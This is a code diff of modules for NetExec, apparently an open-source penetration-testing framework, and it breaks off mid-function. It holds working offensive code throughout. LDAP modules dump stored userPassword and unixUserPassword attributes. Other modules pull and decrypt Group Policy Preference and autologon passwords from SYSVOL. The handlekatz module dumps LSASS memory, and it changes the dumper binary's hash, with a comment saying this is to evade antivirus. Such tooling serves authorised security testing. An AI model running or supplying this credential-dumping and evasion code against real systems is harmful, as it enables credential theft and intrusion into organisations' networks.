-                    if dr["Type"] == 1:
+                if isinstance(site["dnsRecord"], list):
+                    records = [bytes(r) for r in site["dnsRecord"]]
+                else:
+                    records = [bytes(site["dnsRecord"])]
+
+                for record in records:
+                    dr = DNS_RECORD(record)
+                    if dr["Type"] == A:
                         address = DNS_RPC_RECORD_A(dr["Data"])
                         if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
                             outdata.append(
@@ -159,17 +114,18 @@ class NXCModule:
                                     "value": address.formatCanonical(),
                                 }
                             )
-                    if dr["Type"] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]]:
+                    # Skip without "ALL" and "ONLY_HOSTS" => only IPs
+                    elif dr["Type"] in [CNAME, NS, PTR] and (self.showall or self.showhosts):
                         address = DNS_RPC_RECORD_NODE_NAME(dr["Data"])
                         if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
                             outdata.append(
                                 {
                                     "name": recordname,
                                     "type": RECORD_TYPE_MAPPING[dr["Type"]],
-                                    "value": address[next(iter(address.fields))].toFqdn(),
+                                    "value": address["nameNode"].toFqdn(),
                                 }
                             )
-                    elif dr["Type"] == 28:
+                    elif dr["Type"] == AAAA:
                         address = DNS_RPC_RECORD_AAAA(dr["Data"])
                         if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
                             outdata.append(
@@ -180,14 +136,19 @@ class NXCModule:
                                 }
                             )
 
+        # Filter duplicate IPs if "ALL"  and "ONLY_HOSTS" are not set
+        if not (self.showall or self.showhosts):
+            seen_ips = set()
+            outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
+
         context.log.highlight(f"Found {len(outdata)} records")
-        path = expanduser(f"~/.nxc/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
-        with codecs.open(path, "w", "utf-8") as outfile:
+        path = expanduser(join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")))
+        with open(path, "w") as outfile:
             for row in outdata:
                 if self.showhosts:
-                    outfile.write(f"{row['name'] + '.' + connection.domain}\n")
+                    outfile.write(f"{row['name'] + '.' + zone}\n")
                 elif self.showall:
-                    outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n")
+                    outfile.write(f"{row['name'] + '.' + zone} \t {row['value']}\n")
                 else:
                     outfile.write(f"{row['value']}\n")
         context.log.success(f"Dumped {len(outdata)} records to {path}")

nxc/modules/get-scriptpath.py

@@ -0,0 +1,66 @@
+import json
+from nxc.helpers.misc import CATEGORY
+from nxc.parsers.ldap_results import parse_result_attributes
+
+
+class NXCModule:
+    """
+    Get the scriptPath attribute of users
+
+    Module by @wyndoo
+    """
+    name = "get-scriptpath"
+    description = "Get the scriptPath attribute of all users."
+    supported_protocols = ["ldap"]
+    category = CATEGORY.ENUMERATION
+
+    def options(self, context, module_options):
+        """
+        FILTER        Apply the FILTER (grep-like) (default: '')
+        OUTPUTFILE    Path to a file to save the results (default: None)
+        """
+        self.filter = ""
+        self.outputfile = None
+
+        if "FILTER" in module_options:
+            self.filter = module_options["FILTER"]
+
+        if "OUTPUTFILE" in module_options:
+            self.outputfile = module_options["OUTPUTFILE"]
+
+    def on_login(self, context, connection):
+        # Building the search filter
+        resp = connection.search(
+            searchFilter="(scriptPath=*)",
+            attributes=["sAMAccountName", "scriptPath"]
+        )
+
+        context.log.debug(f"Total of records returned {len(resp)}")
+        answers = parse_result_attributes(resp)
+        context.log.debug(f"Filtering for scriptPath containing: {self.filter}")
+        filtered_answers = list(filter(lambda x: self.filter in x["scriptPath"], answers))
+
+        if filtered_answers:
+            context.log.success("Found the following attributes: ")
+            for answer in filtered_answers:
+                context.log.highlight(f"User: {answer['sAMAccountName']:<20} ScriptPath: {answer['scriptPath']}")
+
+            # Save the results to a file
+            if self.outputfile:
+                self.save_to_file(context, filtered_answers)
+        else:
+            context.log.fail("No results found after filtering.")
+
+    def save_to_file(self, context, answers):
+        """Save the results to a JSON file."""
+        try:
+            # Format answers as a list of dictionaries for JSON output
+            json_data = [{"sAMAccountName": answer["sAMAccountName"], "scriptPath": answer["scriptPath"]} for answer in answers]
+
+            # Save the JSON data to the specified file
+            with open(self.outputfile, "w") as f:
+                json.dump(json_data, f, indent=4)
+            context.log.success(f"Results successfully saved to {self.outputfile}")
+
+        except Exception as e:
+            context.log.error(f"Failed to save results to file: {e}")

nxc/modules/get-unixUserPassword.py

@@ -0,0 +1,46 @@
+from impacket.ldap import ldap as ldap_impacket
+from nxc.helpers.misc import CATEGORY
+from nxc.logger import nxc_logger
+from nxc.parsers.ldap_results import parse_result_attributes
+
+
+class NXCModule:
+    """
+    Get unixUserPassword attribute from all users in ldap
+    Module by @SyzikSecu
+    """
+
+    name = "get-unixUserPassword"
+    description = "Get unixUserPassword attribute from all users in ldap"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.CREDENTIAL_DUMPING
+
+    def options(self, context, module_options):
+        """
+        """
+
+    def on_login(self, context, connection):
+        searchFilter = "(unixUserPassword=*)"
+
+        try:
+            context.log.debug(f"Search Filter={searchFilter}")
+            resp = connection.ldap_connection.search(
+                searchFilter=searchFilter,
+                attributes=["sAMAccountName", "unixUserPassword"],
+                sizeLimit=0,
+            )
+        except ldap_impacket.LDAPSearchError as e:
+            if e.getErrorString().find("sizeLimitExceeded") >= 0:
+                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
+                resp = e.getAnswers()
+            else:
+                nxc_logger.debug(e)
+                return False
+
+        if resp:
+            resp_parsed = parse_result_attributes(resp)
+            context.log.success("Found following users: ")
+            for user in resp_parsed:
+                context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}")
+        else:
+            context.log.fail("No unixUserPassword Found")

nxc/modules/get-userPassword.py

@@ -0,0 +1,46 @@
+from impacket.ldap import ldap as ldap_impacket
+from nxc.helpers.misc import CATEGORY
+from nxc.logger import nxc_logger
+from nxc.parsers.ldap_results import parse_result_attributes
+
+
+class NXCModule:
+    """
+    Get userPassword attribute from all users in ldap
+    Module by @SyzikSecu
+    """
+
+    name = "get-userPassword"
+    description = "Get userPassword attribute from all users in ldap"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.CREDENTIAL_DUMPING
+
+    def options(self, context, module_options):
+        """
+        """
+
+    def on_login(self, context, connection):
+        searchFilter = "(userPassword=*)"
+
+        try:
+            context.log.debug(f"Search Filter={searchFilter}")
+            resp = connection.ldap_connection.search(
+                searchFilter=searchFilter,
+                attributes=["sAMAccountName", "userPassword"],
+                sizeLimit=0,
+            )
+        except ldap_impacket.LDAPSearchError as e:
+            if e.getErrorString().find("sizeLimitExceeded") >= 0:
+                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
+                resp = e.getAnswers()
+            else:
+                nxc_logger.debug(e)
+                return False
+
+        if resp:
+            resp_parsed = parse_result_attributes(resp)
+            context.log.success("Found following users: ")
+            for user in resp_parsed:
+                context.log.highlight(f"User: {user['sAMAccountName']} userPassword: {user['userPassword']}")
+        else:
+            context.log.fail("No userPassword Found")

nxc/modules/get_netconnections.py

@@ -1,5 +1,8 @@
 from datetime import datetime
 from nxc.helpers.logger import write_log
+from nxc.helpers.misc import CATEGORY
+from nxc.helpers.path import sanitize_path_component
+from nxc.paths import NXC_PATH
 import json
 
 
@@ -13,15 +16,14 @@ class NXCModule:
     name = "get_netconnections"
     description = "Uses WMI to query network connections."
     supported_protocols = ["smb", "wmi"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.ENUMERATION
 
     def options(self, context, module_options):
-        """No options"""
+        """No options available"""
 
     def on_admin_login(self, context, connection):
         data = []
-        cards = connection.wmi("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
+        cards = connection.wmi_query("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
         if cards:
             for c in cards:
                 if c["IPAddress"].get("value"):
@@ -29,6 +31,6 @@ class NXCModule:
 
             data.append(cards)
 
-        log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
+        log_name = sanitize_path_component(f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
         write_log(json.dumps(data), log_name)
-        context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
+        context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")

nxc/modules/gpp_autologin.py

@@ -1,5 +1,6 @@
 import xml.etree.ElementTree as ET
 from io import BytesIO
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
@@ -11,49 +12,43 @@ class NXCModule:
     name = "gpp_autologin"
     description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
-        """ """
+        """No options available."""
 
     def on_login(self, context, connection):
-        shares = connection.shares()
-        for share in shares:
-            if share["name"] == "SYSVOL" and "READ" in share["access"]:
-                context.log.success("Found SYSVOL share")
-                context.log.display("Searching for Registry.xml")
+        context.log.display("Searching SYSVOL share for Registry.xml")
 
-                paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
+        paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
+        for path in paths:
+            context.log.display(f"Found {path}")
 
-                for path in paths:
-                    context.log.display(f"Found {path}")
+            buf = BytesIO()
+            connection.conn.getFile("SYSVOL", path, buf.write)
+            xml = ET.fromstring(buf.getvalue())
 
-                    buf = BytesIO()
-                    connection.conn.getFile("SYSVOL", path, buf.write)
-                    xml = ET.fromstring(buf.getvalue())
+            if xml.findall('.//Properties[@name="DefaultPassword"]'):
+                usernames = []
+                passwords = []
+                domains = []
 
-                    if xml.findall('.//Properties[@name="DefaultPassword"]'):
-                        usernames = []
-                        passwords = []
-                        domains = []
+                xml_section = xml.findall(".//Properties")
 
-                        xml_section = xml.findall(".//Properties")
+                for section in xml_section:
+                    attrs = section.attrib
 
-                        for section in xml_section:
-                            attrs = section.attrib
+                    if attrs["name"] == "DefaultPassword":
+                        passwords.append(attrs["value"])
 
-                            if attrs["name"] == "DefaultPassword":
-                                passwords.append(attrs["value"])
+                    if attrs["name"] == "DefaultUserName":
+                        usernames.append(attrs["value"])
 
-                            if attrs["name"] == "DefaultUserName":
-                                usernames.append(attrs["value"])
+                    if attrs["name"] == "DefaultDomainName":
+                        domains.append(attrs["value"])
 
-                            if attrs["name"] == "DefaultDomainName":
-                                domains.append(attrs["value"])
-
-                        if usernames or passwords:
-                            context.log.success(f"Found credentials in {path}")
-                            context.log.highlight(f"Usernames: {usernames}")
-                            context.log.highlight(f"Domains: {domains}")
-                            context.log.highlight(f"Passwords: {passwords}")
+                if usernames or passwords:
+                    context.log.success(f"Found credentials in {path}")
+                    context.log.highlight(f"Usernames: {usernames}")
+                    context.log.highlight(f"Domains: {domains}")
+                    context.log.highlight(f"Passwords: {passwords}")

nxc/modules/gpp_password.py

@@ -3,6 +3,7 @@ from Cryptodome.Cipher import AES
 from base64 import b64decode
 from binascii import unhexlify
 from io import BytesIO
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
@@ -14,88 +15,83 @@ class NXCModule:
     name = "gpp_password"
     description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
-        """ """
+        """No options available"""
 
     def on_login(self, context, connection):
-        shares = connection.shares()
-        for share in shares:
-            if share["name"] == "SYSVOL" and "READ" in share["access"]:
-                context.log.success("Found SYSVOL share")
-                context.log.display("Searching for potential XML files containing passwords")
+        context.log.display("Searching SYSVOL share for potential XML files containing passwords")
 
-                paths = connection.spider(
-                    "SYSVOL",
-                    pattern=[
-                        "Groups.xml",
-                        "Services.xml",
-                        "Scheduledtasks.xml",
-                        "DataSources.xml",
-                        "Printers.xml",
-                        "Drives.xml",
-                    ],
-                )
+        paths = connection.spider(
+            "SYSVOL",
+            pattern=[
+                "Groups.xml",
+                "Services.xml",
+                "Scheduledtasks.xml",
+                "DataSources.xml",
+                "Printers.xml",
+                "Drives.xml",
+            ],
+        )
 
-                for path in paths:
-                    context.log.display(f"Found {path}")
+        for path in paths:
+            context.log.display(f"Found {path}")
 
-                    buf = BytesIO()
-                    connection.conn.getFile("SYSVOL", path, buf.write)
-                    xml = ET.fromstring(buf.getvalue())
-                    sections = []
+            buf = BytesIO()
+            connection.conn.getFile("SYSVOL", path, buf.write)
+            xml = ET.fromstring(buf.getvalue())
+            sections = []
 
-                    if "Groups.xml" in path:
-                        sections.append("./User/Properties")
+            if "Groups.xml" in path:
+                sections.append("./User/Properties")
 
-                    elif "Services.xml" in path:
-                        sections.append("./NTService/Properties")
+            elif "Services.xml" in path:
+                sections.append("./NTService/Properties")
 
-                    elif "ScheduledTasks.xml" in path:
-                        sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
+            elif "ScheduledTasks.xml" in path:
+                sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
 
-                    elif "DataSources.xml" in path:
-                        sections.append("./DataSource/Properties")
+            elif "DataSources.xml" in path:
+                sections.append("./DataSource/Properties")
 
-                    elif "Printers.xml" in path:
-                        sections.append("./SharedPrinter/Properties")
+            elif "Printers.xml" in path:
+                sections.append("./SharedPrinter/Properties")
 
-                    elif "Drives.xml" in path:
-                        sections.append("./Drive/Properties")
+            elif "Drives.xml" in path:
+                sections.append("./Drive/Properties")
 
-                    for section in sections:
-                        xml_section = xml.findall(section)
-                        for attr in xml_section:
-                            props = attr.attrib
+            for section in sections:
+                xml_section = xml.findall(section)
+                for attr in xml_section:
+                    props = attr.attrib
 
-                            if "cpassword" in props:
-                                for user_tag in [
-                                    "userName",
-                                    "accountName",
-                                    "runAs",
-                                    "username",
-                                ]:
-                                    if user_tag in props:
-                                        username = props[user_tag]
+                    if "cpassword" in props:
+                        for user_tag in [
+                            "userName",
+                            "accountName",
+                            "runAs",
+                            "username",
+                        ]:
+                            if user_tag in props:
+                                username = props[user_tag]
 
-                                password = self.decrypt_cpassword(props["cpassword"])
+                        password = self.decrypt_cpassword(props["cpassword"])
 
-                                context.log.success(f"Found credentials in {path}")
-                                context.log.highlight(f"Password: {password}")
-                                for k, v in props.items():
-                                    if k != "cpassword":
-                                        context.log.highlight(f"{k}: {v}")
+                        context.log.success(f"Found credentials in {path}")
+                        context.log.highlight(f"Password: {password}")
+                        for k, v in props.items():
+                            if k != "cpassword":
+                                context.log.highlight(f"{k}: {v}")
 
-                                hostid = context.db.get_hosts(connection.host)[0][0]
-                                context.db.add_credential(
-                                    "plaintext",
-                                    "",
-                                    username,
-                                    password,
-                                    pillaged_from=hostid,
-                                )
+                        hostid = context.db.get_hosts(connection.host)[0][0]
+                        context.db.add_credential(
+                            "plaintext",
+                            "",
+                            username,
+                            password,
+                            pillaged_from=hostid,
+                        )
 
     def decrypt_cpassword(self, cpassword):
         # Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385

nxc/modules/gpp_privileges.py

@@ -0,0 +1,234 @@
+import re
+from io import BytesIO
+from impacket.ldap import ldap as ldap_impacket
+from impacket.ldap import ldapasn1 as ldapasn1_impacket
+from nxc.helpers.misc import CATEGORY
+from nxc.parsers.ldap_results import parse_result_attributes
+
+
+class NXCModule:
+    """
+    Module to retrieve privileges assigned via Group Policy Objects (GPOs) by parsing GptTmpl.inf files
+    and resolving SIDs using LDAP.
+    """
+
+    name = "gpp_privileges"
+    description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
+    supported_protocols = ["smb"]
+    category = CATEGORY.ENUMERATION
+
+    WELL_KNOWN_SIDS = {
+        "S-1-0": "Null Authority",
+        "S-1-0-0": "Nobody",
+        "S-1-1": "World Authority",
+        "S-1-1-0": "Everyone",
+        "S-1-2": "Local Authority",
+        "S-1-2-0": "Local",
+        "S-1-2-1": "Console Logon",
+        "S-1-3": "Creator Authority",
+        "S-1-3-0": "Creator Owner",
+        "S-1-3-1": "Creator Group",
+        "S-1-3-2": "Creator Owner Server",
+        "S-1-3-3": "Creator Group Server",
+        "S-1-3-4": "Owner Rights",
+        "S-1-5-80-0": "All Services",
+        "S-1-4": "Non-unique Authority",
+        "S-1-5": "NT Authority",
+        "S-1-5-1": "Dialup",
+        "S-1-5-2": "Network",
+        "S-1-5-3": "Batch",
+        "S-1-5-4": "Interactive",
+        "S-1-5-6": "Service",
+        "S-1-5-7": "Anonymous",
+        "S-1-5-8": "Proxy",
+        "S-1-5-9": "Enterprise Domain Controllers",
+        "S-1-5-10": "Principal Self",
+        "S-1-5-11": "Authenticated Users",
+        "S-1-5-12": "Restricted Code",
+        "S-1-5-13": "Terminal Server Users",
+        "S-1-5-14": "Remote Interactive Logon",
+        "S-1-5-15": "This Organization",
+        "S-1-5-17": "This Organization",
+        "S-1-5-18": "Local System",
+        "S-1-5-19": "NT Authority",
+        "S-1-5-20": "NT Authority",
+        "S-1-5-32-544": "Administrators",
+        "S-1-5-32-545": "Users",
+        "S-1-5-32-546": "Guests",
+        "S-1-5-32-547": "Power Users",
+        "S-1-5-32-548": "Account Operators",
+        "S-1-5-32-549": "Server Operators",
+        "S-1-5-32-550": "Print Operators",
+        "S-1-5-32-551": "Backup Operators",
+        "S-1-5-32-552": "Replicators",
+        "S-1-5-64-10": "NTLM Authentication",
+        "S-1-5-64-14": "SChannel Authentication",
+        "S-1-5-64-21": "Digest Authority",
+        "S-1-5-80": "NT Service",
+        "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
+        "S-1-16-0": "Untrusted Mandatory Level",
+        "S-1-16-4096": "Low Mandatory Level",
+        "S-1-16-8192": "Medium Mandatory Level",
+        "S-1-16-8448": "Medium Plus Mandatory Level",
+        "S-1-16-12288": "High Mandatory Level",
+        "S-1-16-16384": "System Mandatory Level",
+        "S-1-16-20480": "Protected Process Mandatory Level",
+        "S-1-16-28672": "Secure Process Mandatory Level",
+        "S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
+        "S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
+        "S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
+        "S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
+        "S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
+        "S-1-5-32-559": "BUILTIN\\Performance Log Users",
+        "S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
+        "S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
+        "S-1-5-32-562": "BUILTIN\\Distributed COM Users",
+        "S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
+        "S-1-5-32-573": "BUILTIN\\Event Log Readers",
+        "S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
+        "S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
+        "S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
+        "S-1-5-32-577": "BUILTIN\\RDS Management Servers",
+        "S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
+        "S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
+        "S-1-5-32-580": "BUILTIN\\Remote Management Users",
+    }
+
+    def options(self, context, module_options):
+        """NO_LDAP      If set to True, disables LDAP queries for resolving SIDs."""
+        self.no_ldap = module_options.get("NO_LDAP", False)
+
+    def on_login(self, context, connection):
+        self.context = context
+        try:
+            connection.conn.listPath("SYSVOL", "*")
+        except Exception as e:
+            self.context.log.fail(f"Failed to list shares: {e}")
+            return
+
+        self.context.log.display("Searching for GptTmpl.inf files")
+        paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
+
+        if not paths:
+            self.context.log.warning("No GptTmpl.inf files found in SYSVOL.")
+            return
+
+        for path in paths:
+            if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path:  # Default Domain Policy
+                self.context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
+            else:
+                self.context.log.info(f"Found GptTmpl.inf: {path}")
+
+            buf = BytesIO()
+            connection.conn.getFile("SYSVOL", path, buf.write)
+
+            try:
+                content = buf.getvalue().decode("utf-16le")
+            except UnicodeDecodeError as e:
+                self.context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
+                continue
+
+            privileges = self.extract_privileges(content)
+            if privileges:
+                ldap_connection = None
+                base_dn = None
+                if not self.no_ldap:
+                    ldap_connection = self.initialize_ldap_connection(connection)
+                    base_dn = self.get_basedn(ldap_connection)
+
+                self.context.log.success(f"Privileges extracted from {path}:")
+                for privilege, sids in privileges.items():
+                    resolved_sids = [self.resolve_sid(sid, ldap_connection, base_dn) for sid in sids]
+                    self.context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
+
+                if ldap_connection:
+                    ldap_connection.close()
+
+    def get_basedn(self, ldap_connection):
+        root = ldap_connection.search(
+                        scope=ldapasn1_impacket.Scope("baseObject"),
+                        attributes=["defaultNamingContext"],
+                        sizeLimit=0,
+                    )
+        return parse_result_attributes(root)[0]["defaultNamingContext"]
+
+    def extract_privileges(self, content):
+        """Parses the content of GptTmpl.inf to extract privilege rights."""
+        privileges = {}
+        in_priv_section = False
+
+        for line in content.splitlines():
+            if line.strip() == "[Privilege Rights]":
+                in_priv_section = True
+                continue
+            if in_priv_section and line.strip() == "":
+                break
+            if in_priv_section:
+                match = re.match(r"^(.*?)\s*=\s*(.*)$", line)
+                if match:
+                    privilege, sids = match.groups()
+                    privileges[privilege] = [sid.strip("*") for sid in sids.split(",")]
+
+        return privileges
+
+    def initialize_ldap_connection(self, connection):
+        """
+        Initializes an LDAP connection using impacket with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
+        Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
+        """
+        ldap_connection = None
+        try:
+            ldap_connection = ldap_impacket.LDAPConnection(url=f"ldap://{connection.remoteName}", dstIp=connection.host)
+            if connection.kerberos:
+                ldap_connection.kerberosLogin(
+                    connection.username,
+                    connection.password or "",
+                    connection.domain,
+                    connection.lmhash,
+                    connection.nthash,
+                    connection.aesKey or "",
+                    kdcHost=connection.kdcHost,
+                    useCache=bool(connection.use_kcache),
+                )
+            else:
+                ldap_connection.login(
+                    user=connection.username,
+                    password=connection.password or "",
+                    domain=connection.domain,
+                    lmhash=connection.lmhash,
+                    nthash=connection.nthash,
+                )
+            self.context.log.success("Connected to LDAP.")
+        except Exception as e:
+            self.context.log.fail(f"LDAP connection failed: {e}")
+            return None
+        return ldap_connection
+
+    def resolve_sid(self, sid, ldap_connection, base_dn):
+        """Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
+        if sid in self.WELL_KNOWN_SIDS:
+            return self.WELL_KNOWN_SIDS[sid]
+
+        if ldap_connection:
+            try:
+                resp = ldap_connection.search(
+                    searchBase=base_dn,
+                    searchFilter=f"(objectSid={sid})",
+                    attributes=["sAMAccountName"],
+                )
+                parsed_result = parse_result_attributes(resp)
+                if parsed_result and "sAMAccountName" in parsed_result[0]:
+                    return f"{parsed_result[0]['sAMAccountName']}"
+                else:
+                    self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
+
+            except ldap_impacket.LDAPSearchError:
+                self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
+            except ldap_impacket.LDAPFilterSyntaxError:
+                self.context.log.warning(f"Invalid LDAP filter syntax for SID {sid}. Returning raw SID.")
+            except Exception as e:
+                self.context.log.error(f"Failed while resolving SID {sid} via LDAP: {e}")
+        else:
+            self.context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}")
+
+        return sid

nxc/modules/group-mem.py

@@ -1,5 +1,6 @@
 from impacket.ldap import ldapasn1 as ldapasn1_impacket
 import sys
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
@@ -11,15 +12,17 @@ class NXCModule:
     """
 
     name = "group-mem"
-    description = "Retrieves all the members within a Group"
+    description = "[REMOVED] Retrieves all the members within a Group"
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = False
+    category = CATEGORY.ENUMERATION
+
     primaryGroupID = ""
     answers = []
 
     def options(self, context, module_options):
-        """
+        r"""
+        [REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem.
+
         group-mem: Specify group-mem to call the module
         GROUP: Specify the GROUP option to query for that group's members
         Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
@@ -34,6 +37,9 @@ class NXCModule:
             sys.exit(1)
 
     def on_login(self, context, connection):
+        context.log.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
+        return None
+
         # First look up the SID of the group passed in
         search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
         attribute = "objectSid"
@@ -68,7 +74,7 @@ class NXCModule:
 def do_search(self, context, connection, searchFilter, attributeName):
     try:
         context.log.debug(f"Search Filter={searchFilter}")
-        resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
+        resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
         context.log.debug(f"Total number of records returned {len(resp)}")
         for item in resp:
             if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:

nxc/modules/groupmembership.py

@@ -1,6 +1,7 @@
 from impacket.ldap import ldapasn1 as ldapasn1_impacket
 from impacket.ldap import ldap as ldap_impacket
 import sys
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
@@ -15,8 +16,7 @@ class NXCModule:
     name = "groupmembership"
     description = "Query the groups to which a user belongs."
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.ENUMERATION
 
     def options(self, context, module_options):
         """USER	Choose a username to query group membership"""
@@ -37,7 +37,7 @@ class NXCModule:
 
         try:
             context.log.debug(f"Search Filter={searchFilter}")
-            resp = connection.ldapConnection.search(
+            resp = connection.ldap_connection.search(
                 searchFilter=searchFilter,
                 attributes=["memberOf", "primaryGroupID"],
                 sizeLimit=0,

nxc/modules/handlekatz.py

@@ -5,17 +5,17 @@
 import base64
 import re
 import sys
-
+from datetime import datetime
 from nxc.helpers.bloodhound import add_user_bh
-import pypykatz
+from nxc.helpers.misc import CATEGORY
+from pypykatz.pypykatz import pypykatz
 
 
 class NXCModule:
     name = "handlekatz"
     description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
     supported_protocols = ["smb"]
-    opsec_safe = False
-    multiple_hosts = True
+    category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
         r"""
@@ -34,6 +34,8 @@ class NXCModule:
         self.handlekatz_path = "/tmp/"
         self.dir_result = self.handlekatz_path
         self.useembeded = True
+        # Add some random binary data to defeat AVs which check the file hash
+        self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
 
         if "HANDLEKATZ_PATH" in module_options:
             self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
@@ -50,7 +52,7 @@ class NXCModule:
 
     def on_admin_login(self, context, connection):
         handlekatz_loc = self.handlekatz_path + self.handlekatz
-        
+
         if self.useembeded:
             try:
                 with open(handlekatz_loc, "wb") as handlekatz:
@@ -78,6 +80,7 @@ class NXCModule:
 
         if not p or p == "None":
             context.log.fail("Failed to execute command to get LSASS PID")
+            self.delete_handlekatz_binary(connection, context)
             return
         # we get a CSV string back from `tasklist`, so we grab the PID from it
         pid = p.split(",")[1][1:-1]
@@ -96,12 +99,15 @@ class NXCModule:
             context.log.fail("Process lsass.exe error un dump, try with verbose")
             dump = False
 
-        if dump:
+        if not dump:
+            self.delete_handlekatz_binary(connection, context)
+            return
+        else:
             regex = r"([A-Za-z0-9-]*\.log)"
             matches = re.search(regex, str(p), re.MULTILINE)
             if not matches:
                 context.log.display("Error getting the lsass.dmp file name")
-                sys.exit(1)
+                return
 
             machine_name = matches.group()
             context.log.display(f"Copy {machine_name} to host")
@@ -113,32 +119,24 @@ class NXCModule:
                 except Exception as e:
                     context.log.fail(f"Error while get file: {e}")
 
-            try:
-                connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
-                context.log.success(f"Deleted handlekatz file on the {self.share} share")
-            except Exception as e:
-                context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
-
+            self.delete_handlekatz_binary()
             try:
                 connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
                 context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
             except Exception as e:
                 context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
 
-            h_in = open(self.dir_result + machine_name, "rb")  # noqa: SIM115
-            h_out = open(self.dir_result + machine_name + ".decode", "wb")  # noqa: SIM115
+            with open(self.dir_result + machine_name, "rb") as h_in, open(self.dir_result + machine_name + ".decode", "wb") as h_out:
+                bytes_in = bytearray(h_in.read())
 
-            bytes_in = bytearray(h_in.read())
-            bytes_in_len = len(bytes_in)
+                context.log.display(f"Deobfuscating, this might take a while (size: {len(bytes_in)} bytes)")
 
-            context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
+                chunks = [bytes_in[i: i + 1000000] for i in range(0, len(bytes_in), 1000000)]
+                for chunk in chunks:
+                    for i in range(len(chunk)):
+                        chunk[i] ^= 0x41
 
-            chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
-            for chunk in chunks:
